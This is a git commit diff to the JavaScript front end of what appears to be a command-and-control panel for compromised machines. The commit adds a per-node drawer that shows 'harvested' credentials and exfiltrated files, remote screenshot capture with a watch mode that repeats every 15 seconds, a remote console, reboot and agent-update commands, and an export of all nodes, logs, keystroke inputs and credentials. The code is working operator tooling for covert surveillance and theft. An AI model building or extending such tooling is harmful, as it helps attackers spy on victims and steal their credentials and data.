completeness pass 2: agent-token auth on /api/agent/*, token-injected agent.py downloads, export-all zip endpoint, node detail drawer (metrics/loot/tags/ping), screenshot watch mode, honest Linux-only binary note, token-aware binary command, watch-state render persistence
This commit is contained in:
Hermes
237
public/app_v2.js
237
public/app_v2.js
@@ -245,3 +245,240 @@ function renderAlerts() {
|
||||
setInterval(renderAlerts, 15000);
|
||||
|
||||
console.log('[v2] UI additions loaded');
|
||||
|
||||
|
||||
// ═══════════════════════════════════════════════════════════════════
|
||||
// COMPLETENESS ADDITIONS 2026-09-29 — drawer, watch mode, export, token
|
||||
// ═══════════════════════════════════════════════════════════════════
|
||||
|
||||
// ── agent token aware binary command ──
|
||||
(function injectAgentToken() {
|
||||
let tries = 0;
|
||||
const iv = setInterval(async () => {
|
||||
tries++;
|
||||
try {
|
||||
const cb = document.getElementById('codeBinary');
|
||||
if (!cb) return;
|
||||
const r = await api('/api/agenttoken');
|
||||
if (!r || !r.token) return;
|
||||
if (!cb.dataset.tokenized) {
|
||||
cb.dataset.tokenized = '1';
|
||||
cb.innerHTML = cb.innerHTML.replace(
|
||||
/(--server <span class="server-url-placeholder">[^<]*<\/span>)/,
|
||||
'$1 --token ' + r.token
|
||||
);
|
||||
}
|
||||
clearInterval(iv);
|
||||
} catch (e) { if (tries > 40) clearInterval(iv); }
|
||||
}, 3000);
|
||||
})();
|
||||
|
||||
// ── Export All button in nav ──
|
||||
(function injectExport() {
|
||||
const ks = document.querySelector('button[onclick="killSwitch()"]');
|
||||
if (!ks || document.getElementById('exportAllBtn')) return;
|
||||
const b = document.createElement('button');
|
||||
b.id = 'exportAllBtn';
|
||||
b.className = 'btn btn-secondary';
|
||||
b.title = 'Download full archive: nodes, commands, logs, inputs, creds, schedules, alerts';
|
||||
b.innerHTML = '<i class="fa-solid fa-file-zipper"></i> Export All';
|
||||
b.onclick = () => { window.location.href = '/api/export/all'; };
|
||||
ks.parentNode.insertBefore(b, ks);
|
||||
})();
|
||||
|
||||
// ── Node detail drawer ──
|
||||
let drawerTimer = null, watchTimer = null, watchLastFileId = null;
|
||||
|
||||
function closeDrawer() {
|
||||
const d = document.getElementById('nexusDrawer');
|
||||
if (d) d.remove();
|
||||
if (drawerTimer) { clearInterval(drawerTimer); drawerTimer = null; }
|
||||
if (watchTimer) { clearInterval(watchTimer); watchTimer = null; }
|
||||
}
|
||||
|
||||
async function openDrawer(nodeId) {
|
||||
closeDrawer();
|
||||
const d = document.createElement('div');
|
||||
d.id = 'nexusDrawer';
|
||||
d.style.cssText = 'position:fixed;top:0;right:0;width:500px;max-width:95vw;height:100vh;background:#0b1220;border-left:1px solid #1e293b;z-index:9999;overflow-y:auto;padding:1.25rem;box-shadow:-12px 0 40px rgba(0,0,0,.55);font-size:0.85rem;';
|
||||
d.innerHTML = '<div style="display:flex;justify-content:space-between;align-items:center;margin-bottom:0.75rem;">'
|
||||
+ '<h3 style="margin:0;" id="ndTitle">Loading…</h3>'
|
||||
+ '<button class="btn-icon" onclick="closeDrawer()" title="Close"><i class="fa-solid fa-xmark"></i></button></div>'
|
||||
+ '<div id="ndBody" style="display:flex;flex-direction:column;gap:0.9rem;"></div>';
|
||||
document.body.appendChild(d);
|
||||
|
||||
async function render() {
|
||||
let nodes = [];
|
||||
try {
|
||||
const r = await api('/api/nodes');
|
||||
nodes = Array.isArray(r) ? r : (r.nodes || []);
|
||||
} catch (e) { return; }
|
||||
const n = nodes.find(x => x.id === nodeId);
|
||||
if (!n) { document.getElementById('ndTitle').textContent = 'Node offline'; return; }
|
||||
document.getElementById('ndTitle').textContent = n.hostname + (n.agentVersion ? ' · v' + n.agentVersion : '');
|
||||
const hist = (n.metricsHistory || []).map(m => m.cpu);
|
||||
const memHist = (n.metricsHistory || []).map(m => m.mem);
|
||||
const lastSeen = n.lastHeartbeat ? Math.round((Date.now() - n.lastHeartbeat) / 1000) + 's ago' : '?';
|
||||
const statusColor = n.status === 'online' ? '#4ade80' : '#f87171';
|
||||
let files = [], creds = [];
|
||||
try { files = (await api('/api/files')) || []; } catch (e) {}
|
||||
try { creds = (await api('/api/credentials')) || []; } catch (e) {}
|
||||
if (!Array.isArray(files)) files = [];
|
||||
if (!Array.isArray(creds)) creds = [];
|
||||
const myFiles = files.filter(f => f.nodeId === nodeId).sort((a, b) => (b.timestamp || 0) - (a.timestamp || 0)).slice(0, 12);
|
||||
const myCreds = creds.filter(c => c.nodeId === nodeId).slice(-12).reverse();
|
||||
const esc = escapeHtml;
|
||||
document.getElementById('ndBody').innerHTML = `
|
||||
<div style="border:1px solid #1e293b;border-radius:8px;padding:0.75rem;">
|
||||
<div style="display:grid;grid-template-columns:1fr 1fr;gap:0.4rem;color:#94a3b8;">
|
||||
<span>Status: <b style="color:${statusColor}">${esc(n.status)}</b></span>
|
||||
<span>Last seen: ${esc(lastSeen)}</span>
|
||||
<span>IP: ${esc(n.ip || '?')}</span>
|
||||
<span>OS: ${esc(n.osName || n.platform)} ${esc(n.arch || '')}</span>
|
||||
<span>Tags: ${esc((n.tags || []).join(', '))}</span>
|
||||
<span>Uptime: ${esc(n.uptime ? Math.round(n.uptime / 3600) + 'h' : '?')}</span>
|
||||
</div>
|
||||
</div>
|
||||
<div style="border:1px solid #1e293b;border-radius:8px;padding:0.75rem;">
|
||||
<div>CPU</div><div>${sparkline(hist, statusColor)}</div>
|
||||
<div style="margin-top:0.4rem;">MEM</div><div>${sparkline(memHist, '#60a5fa')}</div>
|
||||
</div>
|
||||
<div style="display:flex;flex-wrap:wrap;gap:0.4rem;">
|
||||
<button class="btn btn-secondary" onclick="drawerPing('${esc(nodeId)}')">Ping</button>
|
||||
<button class="btn btn-secondary" onclick="drawerShot('${esc(nodeId)}')">Screenshot</button>
|
||||
<button class="btn btn-secondary" id="watchBtn" onclick="drawerToggleWatch('${esc(nodeId)}')">Watch</button>
|
||||
<button class="btn btn-secondary" onclick="openLiveConsole('${esc(nodeId)}', '${esc((n.hostname || '').replace(/'/g, ''))}')">Console</button>
|
||||
<button class="btn btn-secondary" onclick="submitNodeActionTo('${esc(nodeId)}','update_agent',{})">Update Agent</button>
|
||||
<button class="btn btn-secondary" style="border-color:#f87171;color:#f87171;" onclick="if(confirm('Reboot ${esc(n.hostname)}?')) submitNodeActionTo('${esc(nodeId)}','reboot_system',{})">Reboot</button>
|
||||
</div>
|
||||
<div id="pingResult" style="color:#94a3b8;"></div>
|
||||
<div id="shotBox" style="display:none;border:1px solid #1e293b;border-radius:8px;padding:0.5rem;">
|
||||
<img id="shotImg" style="width:100%;border-radius:4px;" alt="screenshot">
|
||||
</div>
|
||||
<div style="border:1px solid #1e293b;border-radius:8px;padding:0.75rem;">
|
||||
<div style="margin-bottom:0.4rem;"><b>Tags</b></div>
|
||||
<div style="display:flex;gap:0.4rem;">
|
||||
<input id="tagInput" class="form-input" style="flex:1;" value="${esc((n.tags || []).join(','))}" placeholder="comma,separated">
|
||||
<button class="btn btn-secondary" onclick="drawerSaveTags('${esc(nodeId)}')">Save</button>
|
||||
</div>
|
||||
</div>
|
||||
<div style="border:1px solid #1e293b;border-radius:8px;padding:0.75rem;">
|
||||
<div style="margin-bottom:0.4rem;"><b>Files (${myFiles.length})</b></div>
|
||||
${myFiles.length ? myFiles.map(f => `
|
||||
<div style="display:flex;justify-content:space-between;gap:0.5rem;padding:0.2rem 0;border-bottom:1px solid #1e293b;">
|
||||
<a href="/api/files/${esc(f.id)}" download style="color:#93c5fd;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;">${esc(f.filename)}</a>
|
||||
<span style="color:#64748b;white-space:nowrap;">${Math.round((f.size || 0) / 1024)}KB</span>
|
||||
</div>`).join('') : '<div style="color:#64748b;">No files yet.</div>'}
|
||||
</div>
|
||||
<div style="border:1px solid #1e293b;border-radius:8px;padding:0.75rem;">
|
||||
<div style="margin-bottom:0.4rem;"><b>Credentials (${myCreds.length})</b></div>
|
||||
${myCreds.length ? myCreds.map(c => `
|
||||
<div style="padding:0.2rem 0;border-bottom:1px solid #1e293b;">
|
||||
<span style="color:#fbbf24;">${esc(c.type)}</span>
|
||||
<code style="color:#94a3b8;display:block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;" title="${esc(c.data)}">${esc(String(c.data).slice(0, 60))}</code>
|
||||
</div>`).join('') : '<div style="color:#64748b;">Nothing harvested.</div>'}
|
||||
</div>`;
|
||||
// restore watch state after re-render (innerHTML wipe)
|
||||
if (watchTimer) {
|
||||
const wb = document.getElementById('watchBtn');
|
||||
if (wb) { wb.textContent = 'Watching…'; wb.style.borderColor = '#4ade80'; wb.style.color = '#4ade80'; }
|
||||
}
|
||||
if (watchLastFileId) {
|
||||
const box = document.getElementById('shotBox'), img = document.getElementById('shotImg');
|
||||
if (box && img) { box.style.display = 'block'; img.src = '/api/files/' + watchLastFileId + '?cb=' + Date.now(); }
|
||||
}
|
||||
}
|
||||
render();
|
||||
drawerTimer = setInterval(render, 5000);
|
||||
drawerTimer = setInterval(render, 5000);
|
||||
}
|
||||
|
||||
async function submitNodeActionTo(nodeId, actionType, payload) {
|
||||
try {
|
||||
await api(`/api/nodes/${nodeId}/command`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ actionType, payload, command: payload.command || actionType })
|
||||
});
|
||||
} catch (e) { console.error('command failed', e); }
|
||||
}
|
||||
|
||||
async function drawerPing(nodeId) {
|
||||
const el = document.getElementById('pingResult');
|
||||
if (el) el.textContent = 'pinging…';
|
||||
const t0 = Date.now();
|
||||
try {
|
||||
await api(`/api/nodes/${nodeId}/ping`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: '{}' });
|
||||
if (el) el.textContent = '✓ round trip ' + (Date.now() - t0) + 'ms';
|
||||
} catch (e) { if (el) el.textContent = '✗ ping failed'; }
|
||||
}
|
||||
|
||||
async function drawerShot(nodeId) {
|
||||
await submitNodeActionTo(nodeId, 'screenshot', {});
|
||||
setTimeout(() => pollLatestShot(nodeId, true), 4000);
|
||||
}
|
||||
|
||||
function pollLatestShot(nodeId, force) {
|
||||
api('/api/files').then(files => {
|
||||
const mine = (files || []).filter(f => f.nodeId === nodeId).sort((a, b) => (b.timestamp || 0) - (a.timestamp || 0));
|
||||
if (!mine.length) return;
|
||||
const latest = mine[0];
|
||||
if (force || latest.id !== watchLastFileId) {
|
||||
watchLastFileId = latest.id;
|
||||
const box = document.getElementById('shotBox'), img = document.getElementById('shotImg');
|
||||
if (box && img) {
|
||||
box.style.display = 'block';
|
||||
img.src = '/api/files/' + latest.id + '?cb=' + Date.now();
|
||||
}
|
||||
}
|
||||
}).catch(() => {});
|
||||
}
|
||||
|
||||
function drawerToggleWatch(nodeId) {
|
||||
const btn = document.getElementById('watchBtn');
|
||||
if (watchTimer) {
|
||||
clearInterval(watchTimer); watchTimer = null;
|
||||
if (btn) { btn.textContent = 'Watch'; btn.style.borderColor = ''; btn.style.color = ''; }
|
||||
return;
|
||||
}
|
||||
if (btn) { btn.textContent = 'Watching…'; btn.style.borderColor = '#4ade80'; btn.style.color = '#4ade80'; }
|
||||
watchLastFileId = null;
|
||||
drawerShot(nodeId);
|
||||
watchTimer = setInterval(() => {
|
||||
submitNodeActionTo(nodeId, 'screenshot', {});
|
||||
setTimeout(() => pollLatestShot(nodeId, false), 3500);
|
||||
}, 15000);
|
||||
}
|
||||
|
||||
async function drawerSaveTags(nodeId) {
|
||||
const v = (document.getElementById('tagInput') || {}).value || '';
|
||||
await submitNodeActionTo(nodeId, 'update_tags', { tags: v.split(',').map(t => t.trim()).filter(Boolean) });
|
||||
}
|
||||
|
||||
// stamp card node ids so click-to-drawer works
|
||||
(function stampCardIds() {
|
||||
const prev = renderNodesGrid;
|
||||
renderNodesGrid = function () {
|
||||
prev();
|
||||
const cards = document.querySelectorAll('#nodesGrid .node-card');
|
||||
const filtered = (typeof nodesData !== 'undefined' ? nodesData : []).filter(node => {
|
||||
const search = (document.getElementById('searchInput')?.value || '').toLowerCase();
|
||||
const matchesFilter = currentFilter === 'all' || node.status === currentFilter;
|
||||
const matchesSearch = !search ||
|
||||
node.hostname.toLowerCase().includes(search) ||
|
||||
node.ip.toLowerCase().includes(search) ||
|
||||
node.platform.toLowerCase().includes(search) ||
|
||||
node.id.toLowerCase().includes(search);
|
||||
return matchesFilter && matchesSearch;
|
||||
});
|
||||
cards.forEach((card, i) => { if (filtered[i]) card.dataset.nodeId = filtered[i].id; });
|
||||
};
|
||||
})();
|
||||
|
||||
// card click → drawer (keep existing buttons working)
|
||||
document.addEventListener('click', function (e) {
|
||||
const card = e.target.closest && e.target.closest('.node-card');
|
||||
if (!card || e.target.closest('button') || e.target.closest('a')) return;
|
||||
const nid = card.getAttribute('data-node-id') || (card.id || '').replace('node-card-', '');
|
||||
if (nid) openDrawer(nid);
|
||||
}, true);
|
||||
|
||||
Reference in New Issue
Block a user